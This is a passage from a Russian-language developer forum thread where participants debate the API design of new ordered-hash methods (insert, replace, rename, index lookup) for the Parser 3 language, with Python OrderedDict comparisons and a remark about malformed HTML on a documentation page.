$.place[ before | inpos(default) | after ] - самое мутное. Поведение зависит от наличия $.at, от значения зависит будет ли вставка или замена, превращение before в по сути first тоже вызывает сомнение.\
\
Итого мне кажется для опций слишком большая вариативность поведения. Можно попробовать разделять на методы, чтобы упростить поведение параметров. Например разделить запись в хеш от замены.\
\
\
1. ^hash.put[key][value;options]\
\
$.at[ first | last (default) ] или $.at(index) или $.before[key] или $.after[key]\
\
$.overwrite(true(default)/false)\
\
Тут непонятность, должен ли учитываться $.at, если ключ уже есть в хеше. Сейчас просто перезаписывается значение, \
порядок в хеше не меняется.\
\
\
2. ^hash.replace[what][key;value;options] ^hash.replace(what)[key;value;options]\
\
$.keep[ none (default) | key | value ]\
\
Ну и true при успешности замены, false в противном случае.\
Вроде как функционал похож, но поведение более прозрачно.\
\
[quote]^hash.delete [key|index) # удалить по индексу или названию ключа \
[/quote]\
\
По ключу всегда было, по индексу сделаем..."
"83126","Согласен, разбивка на такие методы и семантика опций выглядит намного лучше.\
\
[quote]\
^hash.put[key][value;options]\
$.at[ first | last (default) ] или $.at(index) или $.before[key] или $.after[key]\
$.overwrite(true(default)/false)\
\
Тут непонятность, должен ли учитываться $.at, если ключ уже есть в хеше. Сейчас просто перезаписывается значение, \
порядок в хеше не меняется.[/quote]\
\
Да, очевидно, это коллизия, но она вроде решается. \
\
------ I) Аксиома -------------------\
\
Первое, что надо видимо декларировать, это правило, что при прочих равных = \
Если явно указан $.at(index), то это и явно задает ожидаемое место (по индексу) - для результата выполнения (или не_выполнения) вставки. Ни в какое другое место (по индексу) в этом случае вставляться не должно. Для $.at(index) при всех состояниях хеша и значениях опций, операция либо выполнится, либо нет, но гарантировано в этом месте индекса.\
\
\
------ II) Суть проблемы --------------\
\
Для ^hash.put - мы работаем с хешем, либо в плоскости массива (по индексу), либо в плоскости словаря (по ключу), косвенно задавая режим через $.at(index), или    $.at/before/after[key]. \
\
Как я понимаю, опция $.overwrite - отрабатывает поведение при пересечение 2 ключей (нового и существующего) в уже заданной плоскости: по индексу или по ключу. Однако, существуют ситуации, когда перескаются сразу 3 ключа: новый ключ перескается с сущ.по индексу и другим существующим, но по имени ключа. \
\
Таким образом, в режиме \"массива\": $.at(index) + $.overwrite, overwrite обслуживает перезапись по индексу, но некому задать поведение при одновременно возникшей коллизии в плоскости ключа, т.к. у нас overwrite у нас один на две плоскости (а они иногда возникают одновременно).\
\
\
\
------- III) Формальное решение --------------------\
\
Формально логическая модель требует - две опции $.overwrite_key и $.overwrite_index, но выглядит некрасиво и многословно, поэтому можно \"выдавить этот пузырь\" через большее число значений самого $.overwrite, например так (тоже грубо, но для удержания смысла и в рамках обсуждения):\
\
$.overwrite[ none | at_index | at_key | both (default) ]\
\
и тогда $.overwrite элегантно обслуживает все 4 состояния.\
\
\
III.A): Отдельного внимания заслуживает понятие \"корректный индекс\" и поведение при указании некорректного индекса (предлагается не производить операций), насколько я понимаю, \"дыр\" в индексе хеша - нет. И все ключи идут строго по-порядку, поэтому корректный индекс, это один из реальных индексов конкретного хеша.\
\
III.B): А также отдельное явление: \"вставка со сдвигом индекса\". На вставку со сдвигом (нужную для стеков и очередей), фактически уже заявились $.before/after[key], по такой же аналогии туда наверное стоит продублировать и для индекса$.before/after(index), а также $.before[first] (вставка в вершину), $.after[last] (вставка в конец).  \
\
\
\
------- IV) Проверка гипотезы --------------------\
Попробую привести примеры:\
[code]\
1:\
  ^hash.put[key][value;$.after[last] $.overwrite[none]]\
\
1.a: \
  по index ключ = не существует    т.к. $.after[last] \
  по key ключ = не существует \
  результат = true\
     key:value вставляется в конец хеша со сдвигом\
\
1.b: \
  по index ключ = не существует    т.к. $.after[last] \
  по key ключ = существует \
  результат = false\
     операций не производится\
\
\
2:\
  ^hash.put[key][value;$.at(index) $.overwrite[at_index]]\
\
2.a: \
  по index ключ = существует   \
  по key ключ = не существует  \
  результат = true\
    key:value вставляется на место $.at(index) перетирая старый ключ\
\
2.b:\
  по index ключ = существует\
  по key ключ = существует\
  результат = false\
     т.к. найден одноименный ключ по key, а $.overwrite только по at_index\
\
\
3:\
  ^hash.put[key][value;$.after[last] $.overwrite[at_key]]\
\
3.a: \
  по index ключ = не существует   т.к. $.after[last] \
  по key ключ = существует     но можно перетирать\
  результат = true\
     key:value вставляет в конец хеша, при этом одноименный старый ключ\
     просто попутно удаляется их хеша (\"перетирается из пространства имен\"),\
     но новый ключ в любом случае вставляется в место $.at/before/after(]\
     см.Аксима I (в самом начале сообщения).\
    \
\
и так далее...\
\
[/code]"
"83127","В той, первой \"формальной версии\", я вытащил основные функции которые сам использую и это действительно скорее [b]\"upsert\"[/b] - то есть я либо заменяю (update) либо вставляю (insert) новый ключ - и в этой \"гибридной\" операции более/менее живет.\
\
А before/after - я добавил совершенно вслепую, скорее как провокация и заявка на существование, и таким образом подмешал атрибуты совершенно другой операции - \"вставка со сдвигом\". (Сам же я в своем upsert before/after не использую - т.к. в этом нет логики для такой операции)\
\
Так, что пожалуй, надо ещё раз прочесать всё, но теперь с оглядкой на типы операций, в итоге, я уверен многое раскидается и сократится.\
\
Я нарисовал схемку, Парсервский форум просто обязан заиметь медиа-теги: хотя бы картинки вставлять, 21 век на дворе :)"
"83128","[quote]Парсервский форум просто обязан заиметь медиа-теги: хотя бы картинки вставлять, 21 век на дворе[/quote]\
\
Зато тут нет ограничений на внешние ссылки, по-моему этого достаточно..."
"83129","[url=\"http://s33.postimg.org/4hpxxiobz/parser_hash_newmethods_v3.png\"] >> Наглядная графическая схема[/url]\
\
Как видится сейчас (см.схема по ссылке выше), существует однозначно две разных механики (и как следствие метода) - для вставки ключа в hash, смешение их в одну кучу, создает неочевидные поведения и зоопарк опций.\
\
Теперь, можно рассмотреть каждый в отдельности:\
\
[b]replace[/b] - заменяет только поверх существующего места (по индексу или ключу), размер хеша - гарантировано не меняется.\
[b]insert[/b] - вставляет только между ключей (до/после индекса или ключа), размер хеша при удачности операции увеличивается на 1.\
\
Вроде стало выглядеть по-лучше:\
----------------------------------------------------\
[code]\
 ^hash.replace[at][key;value]\
    at = индекс / ключ / last или first /, где надо произвести замену\
    key = имя нового ключа (если не указать, то заменится только значение)\
    value = значение (если не указать, то заменится только имя ключа)\
\
    * при некорректном at, операций не производится, метод возвращает = false\
    ** правило для единственной коллизии:\
      когда мы заменяем по at=index, но в хеше, \
      также, присутствует одноименный ключ = key, \
      операция не производится, и метод возвращает = false\
      \
\
 ^hash.insert[at][key;value][option]\
    at = индекс / ключ / last или first /, где надо произвести вставку\
    key = имя нового ключа (обязательно)\
    value = значение (обязательно? в хеше вроде можно пустые значения в ключах)\
    option = after/before (необязательная опция, по-умолчанияю after)\
\
    * при некорректном at, операций не производится, метод возвращает = false\
    ** правило для единственной коллизии:\
      если мы вставляем по at=index, но в хеше, \
      также, присутствует одноименный ключ = key, \
      операция не производится, и метод возвращает = false\
[/code]\
----------------------------------------------------\
\
\
\
\
И вроде всё, остальной зоопарк, что я \"формализовал\" - вылетает \"в трубу\" за ненадобностью. Единственное, что откровенно будет не хватать при полноценной игре по индексу, это получение индекса - по имени ключа. Наоборот ^hash.at(index) мы уже умеем, а в обратную сторону - еще нет (вроде).\
----------------------------------------------------\
[code]\
 Можно просто красиво разрешить первому аргументу (по аналогии с подходов выше)\
 принимать не только index и last/first, но и имя ключа, тогда \"паззл сходится\".\
\
 ^hash.at(0), ^hash.at[first/last], \
 ^hash.at[key] = возвращает номер индекса ключа или void (если не сущ.)\
\
\
 и с ^hash.delete[] - надо поступить аналогично\
\
 ^hash.delete(index) - удаление по индексу\
 ^hash.delete[key] - удаление по ключу (уже есть)\
 ^hash.delete[first/last] - удаление первого/последнего ключа\
[/code]\
----------------------------------------------------\
\
\
И вуаля, будет очень красиво и лаконично. \
2 метода и 2 патча для сущ.методов - дадут исчерпавающие функции по работе с хешем, массивом, стеками, очередями."
"83130","1. у меня сейчас (и уже N лет как) есть хеши с числовыми ключами. и мне крайне не нравится потенциальная возможность иметь косяки в связи с тем, что некоторые методы начнут работать с записями не по ключу, а по индексу.\
imho: только ключ. кому нужно по индексу -- тому в руки .at\
или ввести таки array, у которого будет возможность работать с записями и по именам и по индексам. так по крайней мере не будет ничего ломаться в плане обратной совместимости.\
\
2. last/first И ключ -- отстоище. т.е. я не смогу нормально работать с записями, у которых ключи 'last' и 'first'? серьёзно? я очень надеюсь, что т.к. мы имели схожую проблему с ключами, совпадающими с именами методов, то ещё раз по тем-же граблям мы не пойдём."
"83132","Я, признаться, написал бы себе класс по работе с хешем по индексам или array и на этом остановился.\
Ибо задачи, где такое необходимо, довольно редки (я даже припомнить не могу, где мне требовались бы манипуляции по индексам, переименования ключей и вставка в середину).\
\
Даже с учётом того, что это будет медленнее нативной поддержки и потребует пересоздания хешей, скорость не должна быть критичной, так как манипуляции производятся с, по-моему, достаточно компактными объектами."
"83134","[quote]Cмесь ключей и индексов не нравится совершенно[/quote]\
\
- Cмешение индексов и ключей, началась  с ^hash.at\
- ^hash.at с наличия упорядоченности ключей\
- упорядоченность ключей  с потребности в foreach. \
\
Я не вижу ничего страшного в том, что парсеровский хеш, как минимум, с этого момента просто перестал быть академическим \"словарем-коллекцией\", с доступом лишь по ключу, без порядка следования. Уже с обозначенных выше моментов, он просто исторически продолжил так называться, но быть им перестал.\
\
Если бы у нас был массив - то как и во многих языках - мы бы сами \"женили список со словарем\" и получали коллекции, очереди, упорядоченные словари. Но у нас есть только таблица, значения которой не могут быть ссылки на объекты, а только string.\
\
Однако, это совершенно не значит, что структура данных, которую реализует теперешний hash - плохая, не_правильная, или не существует в природе. \
\
На основе базовых примитивов - массивы, мы получаем более абстрактные - (списки,словари,кортежи), на основе их еще более абстрактные (коллекции), из коллекций мы уже можем лепить и стеки и очереди (OrderedDict как  в Python), но высокоуровневые абстракции построенные из более примитивных элементов - как праивило, не теряют своих свойств (доступа к элементам).\
\
Поэтому, такая структура как \"упорядоченный словарь с доступом по ключу или индексу\" - вовсе не \"мракобесие\", а вполне реальная и востребованная.\
\
Более того, паттерн, где у \"массива с данными\" мы имеем более одной ID-шкалы - мы используем повсеместно начиная от DB. Мы можем даже отказаться от упорядоченности в хеше - и завести отдельный массив (массивов у нас в Парсере - нет, значит таблицу), где будем просто хранить отдельно массив порядка ключей с нумерацией, и выкатив единый интерфейс ко всему этому. \
\
[quote]У меня сейчас (и уже N лет как) есть хеши с числовыми ключами[/quote]\
\
О чем, я и говорю - выше. Практически можно и на массивах все было делать, остальное абстракции. Просто смысл иметь цифровые ключи, а потом их упорядочивать самому, а потом вы в эти цифровые ключи кладете еще и ключ Name?...  Получается просто \"самообман\" и \"надстройка\", а всё то же самое, только руками и с накладными расходами. \
\
\
3.last/first: отдельно касательно именования, я согласен, мне тоже не нравится такая \"вивисекция\" (я просто привел по аналогии, с тем, что уже было см.сабж). В таком разе, надо и в $hash.fields - тоже камушек метнуть. \
\
Служебные имена (Built-in Objects), действительно, было бы разумнее обрамлять или хотя бы предварять, подчеркиванием, или двумя (по аналогии с Питоном), \
то есть __last, __first и $hash.__fields - как минимум.\
\
\
4. Сами вещи мне нравятся. Где это может пригодиться? collection.p в PF - это именно изобретение велосипеда, которого нет в Парсер. Но также у Парсера нет и стандартного массива чтобы доиграть свои структуры, а \"нумерованые ключи\" хеша, это просто костыль само по себе. \
\
Докрученный hash - превратит его в OrderedDict, дающий по обратной совместимости и \"коллекции\" и \"массивы\" и \"стеки\", \"очереди\" - из коробки. \
\
^hash.insert[__first]... - это вставка в вершину стека/очереди. last - соответственно в конец. Это базовые вещи таких структур и они нужны.\
\
И раз уж исторически так сложилось, и ^hash.at(0) уже давно с нами - то не вижу ничего страшного доиграть его до доступа по номеру элемента. Ничего при этому не ломается - приведите пример, как это может сломаться? Оно по-определению не может, если будет состоять из двух/трех разных примитивов - сам по себе."
"83135","at работает только с индексами, а не с ключами, а first/last -- немного более человеческий способ обратиться к первому/последнему элементам.\
\
\
[quote]Я не вижу ничего страшного в том, что парсеровский хеш, как минимум, с этого момента просто перестал быть академическим \"словарем-коллекцией\", с доступом лишь по ключу, без порядка следования[/quote]\
\
а я вижу. и называется это @ломание обратной совместимости ради очень редко-используемой новой фичи@ (вот мне реально ни разу не приходилось делать insert средствами парсера ни в table ни в hash)\
у кого-то может быть ^хэш.delete(0) -- удаление записи, у которой ключ 0 (а не позиция 0).\
\
да, с новыми методами такой проблемы не будет, но если дать возможность им работать и с ключами и с индексами (хотя мне крайне не нравится, что ^хэш.method[0] и ^хэш.method(0) будут делать разные по сути вещи), то будет очень непоследовательно, что новые методы так могут, а старые -- нет."
"83136","Зарегистрировался. \
Теперь могу добавлять каких-то разработчиков.\
Кто эти люди?\
Как установить соответствие между новой регистрацией и уже имеющимися в списке моими сайтами?\
Как исправить информацию о них?\
О себе в прежнем списке? (напр., другой предпочтительный адрес e-mail)\
И нет достаточной справки, чтобы это настроить.\
По мелочи: поле ввода даты рождения -- через слеши, т.е. это немецкий формат, а лучше бы русский dd.mm.yyyy . \
За возможности спасибо. \
Но, напр., форум стал труднее: очень много воздуха, меньше полезной информации."
"83137","[quote]В таком разе, надо и в $hash.fields - тоже камушек метнуть. [/quote]\
\
Справочно: проблема с $hash.fields и $hash._default уже решена в HEAD. То есть теперь в хеше могут быть ключи \"fields\" и \"_default\", специальное значение они имеют только если написаны в парсерном коде."
"83138","Обратную совместимость никто ломать конечно не будет.\
\
Но я согласен с тем, что порядок в хеше есть, а инструментов для работы с ним считай нет, только sort да at. Да, можно отдельно обсуждать, насколько этот инструментарий востребован, но лично моя позиция прагматичнее: если будет придумано хорошее API, то почему бы и нет. Просто если какие-то методы, типа ^hash.delete_at(index) еще можно сделать на парсере, то например вставить в начало хеша или заменить один ключ другим - уже никак (создание копии хеша не может считаться адекватным решением)."
"83140","Как уже написали:\
\
at = индекс / ключ / last или first - плохо, поскольку лучше стараться избегать коллизий с именами ключей.\
\
^hash.insert[at][key;value][option]\
at =  ключ - мне кажется не имеет смысла.\
\
Как вариант использовать суффикс at для методов, работающих с порядком. То есть\
\
^hash.replace[old key;new key;value]\
и ^hash.replace_at(index/first/last)[new key;value]\
\
^hash.insert_at(index/first/last)[key;value][option]\
\
Но: в обоих методах _at мне не нравится, что они могут вернуть false по разным причинам.\
Такое поведением можно нивелировать опцией $.overwrite(true/false)"
"83141","[quote]называется это @ломание обратной совместимости...\
...^хэш.method[0] и ^хэш.method(0) будут делать разные по сути вещи\
[/quote]\
\
1.Не вижу ломания обратной совместимости. Если вы используете символы цифр, чтобы имитировать то, что нативно невозможно (массива то нет), т.е. фактически сделали \"отдельную проекцию цифр\" на ключи хеша, то как это не назови, но [0] - это \"хак\", который впрочем не ломается. \
\
2.Структуры (модели) данных более высокого порядка, образуются путем композиции и сочетания более элементарных структур. Тут Python, пожалуй, самый опорный пример, т.к. это его конёк - атомары данных из которых собирается всё многообразие и гибкий доступ к ним. Та же парсеровская таблица, была бы просто list of tuples - список кортежей.\
\
3.MoKo - прав, если мы имеем порядок ключей, но не можем управлять этим порядком - академически это не правильно. Или давайте тогда \"восстановим справедливость\" и наделаем базовых примитивов, которых нет и из-за которых все немного хромает на одну ногу:\
 - list (array) = список упорядоченных элементов с доступом по индексу,\
 - dict (hash) = ассоциативный массив с доступом по имени ключа\
 - tuple = кортеж (фиксация размера и порядка элементов)\
 - set/frozenset = (то, что добавляет операции union/intersection для dict)\
 - collection = композиции list,tuple,dict и set + iterator и counter = дает исчерпывающее многообразие: очереди, стеки, доступы по ключу, индексу, вставки, итерации (курсор), в общем full house. \
\
По принципу \"утиной типизации\" (duck-typing) - парсеровский хеш это питоновский collection.OrderedDict, но только не оперившийся и поэтому всё еще немного \"гадкий утёнок\". Но всего +2 методами он даже может закрыть даже питоновскую очередь (https://docs.python.org/2/library/collections.html#collections.deque)\
\
\
[b]Бонус(!)[/b], вот как выглядит его взрослая версия - следите за руками :)\
(я просто оставлю это здесь, скопировав из консоли + #допечатанные_комментарии)\
\
[code]\
~$: python\
\
Python 2.7.3 (default, Jun 22 2015, 19:33:41) \
[GCC 4.6.3] on linux2\
Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\
\
>>> import collections\
>>> d = collections.OrderedDict()\
>>> d['KeyA'] = 'ValueA'\
>>> d['KeyB'] = 'ValueB'\
>>> d.items()\
[('KeyA', 'ValueA'), ('KeyB', 'ValueB')]\
\
\
>>> d['KeyA']                          # доступ по ключу\
'ValueA'\
>>> d['KeyB']\
'ValueB'\
\
\
>>> d.items()[0]                       # доступ по индексу \
('KeyA', 'ValueA')       \
>>> d.items()[1]\
('KeyB', 'ValueB')\
>>> \
\
>>> d.keys().index('KeyA')             # получение индекса по ключу\
0\
>>> d.keys().index('KeyB')   \
1\
\
>>> d.keys()[0]                        # получение ключа по индексу\
'KeyA'\
>>> d.keys()[1]\
'KeyB'\
\
\
>>> d.update({'KeyA':'ValueAA'})      # добавление/изменение \
>>> d.update({'KeyC':'ValueC'})\
>>> d.items()\
[('KeyA', 'ValueAA'), ('KeyB', 'ValueB'), ('KeyC', 'ValueC')]\
\
\
\
>>> d.popitem()                       # забрать последний элемент (как из стека)\
('KeyC', 'ValueC')\
>>> d.items()\
[('KeyA', 'ValueAA'), ('KeyB', 'ValueB')]   \
[/code]\
\
Поэтому, как бы смысла обсуждать теоритическую часть: [b]\"можно ли смешивать ключи и индексы\"[/b] - вроде и нет, пример выше чуть более, чем убедительный, учитывая насколько широко в продакшене и в мире используется - Python 2.x\
\
\"Парсеровский хеш\" сейчас по всем признакам - OrderedDict, но хромой на очевидные методы и работы с индексами, которые однозначно должен уметь, раз заявился на порядок элементов. \
\
Я даже не агитирую за похожий, как в примере питоновский update (хотя и заикнулся, о \"вставке с перетиранием\", в первой версии \"формализации\", но легко можно \"облезть без него\". А вот минимальный набор из предложенных 2 методов + 2 апдейтов - существующих, [b]это явно must have.[/b] Тем более, что закрывает так много.\
\
Поэтому, тут только 2 варианта развития:\
Или Перетанцевать всю иерархию примитивов данных (маловероятный на практике)\
Или Докрутить пару методов и пару апдейтов для существующих, получив на выходе намного более полноценный и мощный инструмент (тем более, что ниша для Парсера, явно в сторону более высокуровневых абстракций, внизу ему делать нечего).\
\
Можно еще оставить всё как есть, но тогда это уже не \"развитие\"."
"83142","\"Смешение индексов и ключей\" в реальности:\
\
[code]\
~$: python\
\
Python 2.7.3 (default, Jun 22 2015, 19:33:41) \
[GCC 4.6.3] on linux2\
Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\
\
>>> import collections\
>>> d = collections.OrderedDict()\
>>> d['KeyA'] = 'ValueA'\
>>> d['KeyB'] = 'ValueB'\
>>> d.items()\
[('KeyA', 'ValueA'), ('KeyB', 'ValueB')]\
\
\
>>> d['KeyA']                          # доступ по ключу\
'ValueA'\
>>> d['KeyB']\
'ValueB'\
\
\
>>> d.items()[0]                       # доступ по индексу \
('KeyA', 'ValueA')       \
>>> d.items()[1]\
('KeyB', 'ValueB')\
>>> \
\
>>> d.keys().index('KeyA')             # получение индекса по ключу\
0\
>>> d.keys().index('KeyB')   \
1\
\
>>> d.keys()[0]                        # получение ключа по индексу\
'KeyA'\
>>> d.keys()[1]\
'KeyB'\
\
\
>>> d.update({'KeyA':'ValueAA'})      # добавление/изменение \
>>> d.update({'KeyC':'ValueC'})\
>>> d.items()\
[('KeyA', 'ValueAA'), ('KeyB', 'ValueB'), ('KeyC', 'ValueC')]\
\
\
\
>>> d.popitem()                       # забрать последний элемент (как из стека)\
('KeyC', 'ValueC')\
>>> d.items()\
[('KeyA', 'ValueAA'), ('KeyB', 'ValueB')]   \
[/code]"
"83143","[quote]^hash.insert[at][key;value][option]\
at = ключ - мне кажется не имеет смысла.[/quote]\
\
Как это?\
По предложенной схеме (http://s33.postimg.org/4hpxxiobz/parser_hash_newmethods_v3.png)\
\
и как мы вставимв середину хеша \"за ключом\" или \"до ключа\", без указания имени ключа за или перед которым вставлять?\
\
Я предложил раскройку на два принципиальных метода, которые реализуют поведения двух очень удобных типов сразу (и парсеровский хеш это может)\
\
и в минимально-достаточной части\
\
replace - закрывает collect1ion.OrderedDict (по части update)\
\
а \
\
insert - частично питоновский collection.deque и sequence в том отрезке, что надо."
"83144","[quote]Я, признаться, написал бы себе класс по работе с хешем[/quote]\
\
Да я где-то выше спрашивал не имеет ли кто \"более удобный класс\" по работе с хешем, нашёл только collection.p от PF'a но беглый взгляд показал, что он недописаный.\
\
Я пробовал \"ручные манипуляции\" но получается адово, крутить циклы ради нахождения индекса по ключу, или замены по индексу."
"83145","Хотя он такой и был, ранее. Но я два раза по неосторожности терял страницы две набранного текста про обсуждение методов хеша. (Я просто не ожидал/забыл, что форма \"протухнет\"). Обычно копирую в буфер (но в буфере оказалось не то)."
"83146","по моему предлагаемого тобой insert-а и какого-нить index_of-а для получения позиции элемента по ключу/[значению] более чем достаточно. затем с помощью at и этих методов всё остальное реализуется вообще в одну строчку."
"83147","[quote]Да я где-то выше спрашивал не имеет ли кто \"более удобный класс\" по работе с хешем, нашёл только collection.p от PF'a но беглый взгляд показал, что он недописаный.[/quote]\
\
Collection deprecated, упорядоченный хеш покрывает все задачи.\
\
Тот факт, что решения нет наводит на разумную мысль, что такое никому не нужно.\
\
[quote]Я пробовал \"ручные манипуляции\" но получается адово, крутить циклы ради нахождения индекса по ключу, или замены по индексу.[/quote]\
\
Задача неясна.\
\
Что такого вы делаете, что перебор хеша для нахождения ключа критичен?\
Это гигабайты данных?\
\
Если нет готового — сделайте, и интерфейс обкатаете и набор действительно необходимых методов сформируется."
"83148","Походу код framset'a тупо содержит незакрытые теги :)\
\
wget http://www.parser.ru/docs/lang/\
[code]\
\
<head>\
<title>Parser 3.4.4</title>\
</head>\
<frameset cols=\"33%,*\"\
          frameborder=\"1\"\
          framespacing=\"1\"\
          border=\"1\">\
<frame name=\"toc\"\
       src=\"parser3.ru_content.htm\">\
<frame name=\"content\"\
       src=\"home.htm\">\
</frameset>\
</html>\
[/code]"
"83149","Страница с framset содержит неоткрытый тег: html (может поэтому кто-то иногда ловит глюки?)\
\
wget http://www.parser.ru/docs/lang/\
[code]\
<head>\
<title>Parser 3.4.4</title>\
</head>\
<frameset cols=\"33%,*\"\
          frameborder=\"1\"\
          framespacing=\"1\"\
          border=\"1\">\
<frame name=\"toc\"\
       src=\"parser3.ru_content.htm\">\
<frame name=\"content\"\
       src=\"home.htm\">\
</frameset>\
</html>\
[/code]"
"83150","Никаких гигабайтов не надо.\
\
Чтобы подвесить Парсер до +300 ms достаточно 1000 итераций и манипцяций с вложенным хешем, имеющим в основном только стринги до в среднем до 50-100 символов не более.\
\
А это треть секунды, еще треть уйдет на сеть и на базовый \"hello world\", и вот мы имеем 0.6 с. но еще даже не дёргали БД. Но сайт уже \"моргает\" по целой секунде на запрос."
"83151","[quote] и как мы вставим в середину хеша \"за ключом\" или \"до ключа\", без указания имени ключа за или перед которым вставлять?[/quote]\
\
Получаем по ключу индекс (кстати почему-то в предлагаемом API не нашлось место методу index_of, Миша уже писал об этом) и задача сведена к предыдущей. Да, в две строчки, но ^hash.insert[ключ;еще один ключ] - уж больно не очевидный синтаксис.\
\
Так что ждем следующего варианта API, с учетом всех предложений. :)"
"83153","[i][b]Disclaimer:[/b]\
Обозначу, что именно в вопросе именований и \"подачи\" - я вообще целиком и полностью полагаюсь на \"парсерную мафию\", объявившуюся в треде :)\
Предложенные названия и способ подачи аргументов/опций, просто для умозрительного восприятия. Я обсуждаю только модель и функции - за названия не держусь от слова - \"совсем\".[/i]\
\
Парсерный хеш - реально \"заряженный\" уже сейчас, и добавление двух механик просто докрутит ему бойкости \"из коробки\", которая в его модели/природе уже существует, а примеры на Питоне (выше по треду для Misha v.3) - доказывают, что \"страхи смешения ключа и индекса\" - надуманы. \
\
[b]Продолжим формализацию дальше:[/b]\
В контексте этой ветки формализации, будем опираться на факт, что раскройка первой скомканой формализации - на принципиальные два \"полушария\"-механик по работе с элементами хеша:\
 A) изменение хеша \"поверх\" - (overlaying) \
 B) вставка в хеш \"между\"   - (insertion)\
\
- выглядит удачно, т.к. вытрясает практически весь логический \"мусор\" и \"неявное\" поведение, при любом другом ракурсе, без превраительной раскройки по этой оси. Но это только 1 шаг в формализации, и совсем не обязательно два метода, надо детализировать дальше.\
\
Отсекая от камня по методу \"прогрессивного джипега\" :) и в контексте этой раскройки отдельно, крутим дальше:\
\
[b]Механика \"overlaying\"[/b]\
Имеем сл.принципиальный момент: что мы хотим с позиции строгости?\
- строгий инструмент \"изменение\" = только сущ.элементы хеша.\
- мягкий инструмент \"наплыв\" = изменение/добавление если элемент не существует.\
\
[b]Строгий[/b], очевидно, напрашивается на а-ля [b]replace[/b] с +/-(объектная адресация до ключа перед методом) типа ^hash.key.replace[newkey;newvalue]\
\
[b]Мягкий[/b] = один в один повторяет механику питоновского [b]update[/b] для OrderedDict, то есть изменяет элемент или добавляет если такого нет (это ровно то же самое, что и ранний [b]put[/b] с overwrite)\
\
[b]update[/b] - семантически подразумевает, как \"обновление\" сущ.ключа, так и обновление самого \"хеша\" (через появления новых ключей), и может доиграть строгий [b]replace[/b], путем какой-то опции (а-ля strict/overwrite).\
\
\
Опять же, в парсеровской реальности предложеный replace - умеет заменять не только элемент, но и попутно можно поменять только ключ или значение, не испортив подачу.\
Поэтому, пока кажется, что [b]replace[/b] (с возвратом true/false) явно нужнее."
"83154","[code]\
\
Для \"overlaying\"-механики\
\
для обращения по ключу\
\
 ^hash.key.replace[key;value] - изменяет ключ-значение\
 ^hash.key.replace[key] - только переименовывает ключ (топикстарт треда)\
\
для обращения по индексу или первому/последнему остается:\
\
 ^hash.replace(index)[key;value]\
 ^hash.replace[first/last][key;value]\
\
 ^hash.replace(index)[;value]  - можно только значение изменить по индексу\
\
жалко так нелья :)\
 ^hash.at(0).replace[...]\
\
\
Для \"insertion\"-механики типа такого:\
\
 ^hash.key.insert[key;value][option] - вставка за ключом ^hash.key \
   option = after(по-умолчанию), или before\
\
 ^hash.insert(index)[key;value][option] \
 ^hash.insert[first/last][key;value][option]\
\
 как-то все еще странновато, но не хватает парсерного взгляда, и я не претендую на то, как это подать\
\
\
[/code]"
"83155","Моё мнение:\
[code]# получение индекса по имени ключа, -1 если ключ не найден\
^hash.index[key]\
\
# вставка по индексу\
^hash.add(index)[$.key[value] …]\
^hash.add[first;$.key[value] …]\
^hash.add[last;$.key[value] …]\
\
# удаление\
^hash.delete(index)\
^hash.delete(index1;index2;…)\
^hash.delete[key1;key2;…]\
\
# переименование\
^hash.rename[old_key_name;new_key_name]\
^hash.rename(index)[new_key_name]\
\
# замена (опционально, то же, что delete + add)\
^hash.replace[key;$.key[value] …]\
^hash.replace(index)[$.key[value] …][/code]\
\
Фактически достаточно трёх доработок:\
1. поддержка параметров-индексов в методах add и delete;\
2. метод index для получения индекса по имени ключа;\
3. метод rename для переименования ключа.\
\
Replace и всё остальное можно будет сделать в пару строк.\
Никаких опций режимов, до/после и прочего.\
Есть позиция или ключ — работаем по ним."
"83156","[code]\
\
1) я правильно понимаю, что add (это прикручивание к уже сущ.методу сложения хешей? или это совпадение?)\
\
^hash.add(index)[$.key[value] …]\
\
только так и не решено \"вслух\", как будет отработано такое поведение:\
\
 0: KeyA:ValueA\
 1: KeyB:ValueB\
 2: KeyC:ValueC\
\
^hash.add(0)[$.KeyC[valueC2]]\
 \
одноименный ключ 'KeyC' по индексу 2 - \"утилизирутся\"? \
или метод вернет false? или вызовет исключение? \
\
\
2) \
# переименование\
^hash.rename[old_key_name;new_key_name]\
^hash.rename(index)[new_key_name]\
\
# замена (опционально, то же, что delete + add)\
^hash.replace[key;$.key[value] …]\
^hash.replace(index)[$.key[value] …]\
\
a) в моем случае replace закрывает как ваш add - по ключу/индексу, \
 так и ваш rename ключа \
+ дает возможность заменить только Value по индексу, не указывая имя нового ключа, \
как это сделать с вашим add - не очевидно.\
\
b) ну и самое главное, \
кажется что ваш replace никак не может быть бескровно заменен на delete + add \
при работе по индексу.\
\
Потому, что после delete - порядок ключей перестроится, и индексы уползут, \
надо будет еще и доставать актуальный индекс для последующего add \
- все это не выглядит упрощением.\
\
\
Да и шаг назад как раз обсуждали, что\
^hash.replace[key;$.key[value] …]\
\
два ключа подряд в аргументе, хотя и key $.key - но тем не менее, путанно.\
\
да и сам add с определением (вставка по индексу) как-то неоднозначен,\
это в любом случае замена, зато замена не дает разночтения что это вставка \"между\" или вставка \"поверх\" - при этом сам add переводится как добавление.\
\
\
А вот хеш в аргументе типа $.key[value]... \
явно с прицелом на bulk-режим для пачки значений - это нравится!\
\
[/code]\
\
\
Все же кажется, что вот тут --> http://www.parser.ru/forum/?id=83154\
сама механика получилась \"почище\" и при этом не выглядит непредсказуемой,\
при этом вроде даже методов поменьше, и на одну функцию больше (вставка только значения по индексу)\
\
А вот опционально приделать $.key[value] или key;value - можно бы"
"83157","[quote]1) я правильно понимаю, что add (это прикручивание к уже сущ.методу сложения хешей? или это совпадение?)[/quote]\
\
Это доработка существующего метода.\
Он уже умеет добавлять ключи в хеш, нужно только добавить позицию.\
\
Вставляет он после указанной позиции.\
\
[quote]^hash.add(index)[$.key[value] …]\
\
только так и не решено \"вслух\", как будет отработано такое поведение:\
\
 0: KeyA:ValueA\
 1: KeyB:ValueB\
 2: KeyC:ValueC\
\
^hash.add(0)[$.KeyC[valueC2]]\
 \
одноименный ключ 'KeyC' по индексу 2 - \"утилизирутся\"? \
или метод вернет false? или вызовет исключение?[/quote]\
\
Получится\
0: KeyC:ValueC2\
1: KeyA:ValueA\
2: KeyB:ValueB\
\
Ключ получит новое значение в новой позиции.\
\
[quote] \
a) в моем случае replace закрывает как ваш add - по ключу/индексу, \
 так и ваш rename ключа \
+ дает возможность заменить только Value по индексу, не указывая имя нового ключа, \
